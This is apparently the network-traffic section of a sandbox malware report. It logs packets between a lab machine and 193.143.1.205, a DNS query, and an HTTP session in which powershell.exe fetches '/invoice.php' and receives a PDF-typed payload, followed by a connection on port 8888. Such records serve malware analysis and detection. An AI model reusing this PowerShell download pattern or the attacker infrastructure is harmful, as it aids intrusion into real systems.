Jan 11, 2025 02:19:24.714385986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.714397907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.714411974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.714442968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.714543104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.714554071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.714565992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.714628935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.714643955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.714654922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.714670897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.714683056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.714699030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.714723110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.714876890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.714888096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.714899063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.714910030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.714921951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.714953899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.715028048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.715038061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.715049028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.715060949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.715068102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.715070963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.715101957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.715131044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.715245962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.724000931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.742855072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.742868900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.742880106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.742899895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.742911100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.742957115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.742973089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.742984056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.743002892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.743016958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.743031025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.743031979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.743078947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.763961077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.764097929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.764111042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.764131069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.764142990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.764157057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.764161110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.764168978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.764180899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.764203072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.764245987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.764260054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.764317989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.764331102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.764343023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.764367104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.764399052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.764503002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.764514923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.764559031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.773902893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.773936033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.773950100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.774004936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.774048090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.774059057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.774096966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.774204969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.774224043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.774236917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.774246931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.774246931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.774260044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.774271011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.774277925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.774308920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.774395943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.774408102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.774420023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.774430990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.774439096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.774441957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.774460077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.774482965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.795298100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.795334101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.795346975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.795365095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.795380116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.795389891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.795401096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.795403004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.795413017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.795424938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.795429945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.795438051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.795464993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.795485020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.795494080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.795504093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.795515060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.795526981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.795538902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.795541048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.795577049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.795717955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.795730114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.795742035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.795753002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.795764923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.795768976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.795790911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.795813084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.795845032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.795917988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.795931101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.795942068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.795953989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.795964956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.795969009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.796001911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.796192884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.796204090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.796215057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.796233892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.796241045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.796247005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.796258926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.796264887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.796271086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.796282053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.796293020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.796305895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.796308994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.796344995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.796623945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.796771049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.796782017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.796792984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.796806097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.796816111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.796818018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.796829939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.796837091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.796843052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.796850920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.796854973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.796871901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.796883106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.796909094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.797266006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.797277927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.797288895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.797302008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.797308922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.797312975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.797323942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.797324896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.797337055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.797348022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.797359943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.797359943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.797369957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.797383070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.797391891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.797415018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.797844887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.797858000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.797868967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.797879934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.797892094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.797902107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.797904968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.797914028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.797925949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.797938108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.797939062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.797950029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.797959089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.797980070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.804986954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.805028915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.805041075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.805093050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.805134058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.805145979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.805156946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.805179119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.805197001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.805268049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.805284977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.805296898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.805308104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.805319071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.805320024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.805339098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.805399895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.805411100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.805421114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.805432081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.805440903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.805442095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.805468082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.805485964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.806106091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.833591938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.833620071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.833633900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.833714008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.833719015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.833729982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.833746910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.833765984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.833781958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.833784103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.850924015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.854499102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.854543924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.854554892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.854574919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.854585886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.854592085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.854635954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.854638100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.854649067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.854687929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.854695082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.854708910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.854756117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.854803085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.854815006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.854826927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.854847908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.854926109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.854938030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.854973078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.855026007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.855040073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.855062962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.855076075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.855112076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.860910892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.864432096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.864463091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.864473104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.864514112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.864540100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.864552021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.864563942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.864572048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.864576101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.864608049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.864783049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.864794970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.864806890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.864819050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.864823103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.864836931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.864844084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.864873886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.864969015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.864979982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.864993095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.865045071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.871535063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.886217117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.886234045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.886246920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.886336088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.886338949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.886347055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.886359930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.886370897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.886383057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.886415958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.886574030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.886584997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.886598110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.886606932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.886606932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.886645079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:25.217772007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:25.950179100 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:25.955009937 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:25.955122948 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:25.956027031 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:25.960841894 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:26.737373114 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:26.797930956 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:27.382874012 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 02:20:04.576250076 CET	51273	53	192.168.2.4	162.159.36.2
Jan 11, 2025 02:20:04.581073046 CET	53	51273	162.159.36.2	192.168.2.4
Jan 11, 2025 02:20:04.581145048 CET	51273	53	192.168.2.4	162.159.36.2
Jan 11, 2025 02:20:04.585927963 CET	53	51273	162.159.36.2	192.168.2.4
Jan 11, 2025 02:20:05.056356907 CET	51273	53	192.168.2.4	162.159.36.2
Jan 11, 2025 02:20:05.061464071 CET	53	51273	162.159.36.2	192.168.2.4
Jan 11, 2025 02:20:05.061542988 CET	51273	53	192.168.2.4	162.159.36.2

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:19:39.035161018 CET	52952	53	192.168.2.4	1.1.1.1
Jan 11, 2025 02:20:04.575612068 CET	53	63629	162.159.36.2	192.168.2.4
Jan 11, 2025 02:20:05.126719952 CET	53	49209	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 02:19:39.035161018 CET	192.168.2.4	1.1.1.1	0xbc16	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 02:19:39.042448997 CET	1.1.1.1	192.168.2.4	0xbc16	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	7376	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:19:23.309257984 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 02:19:24.126914024 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:19:24 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 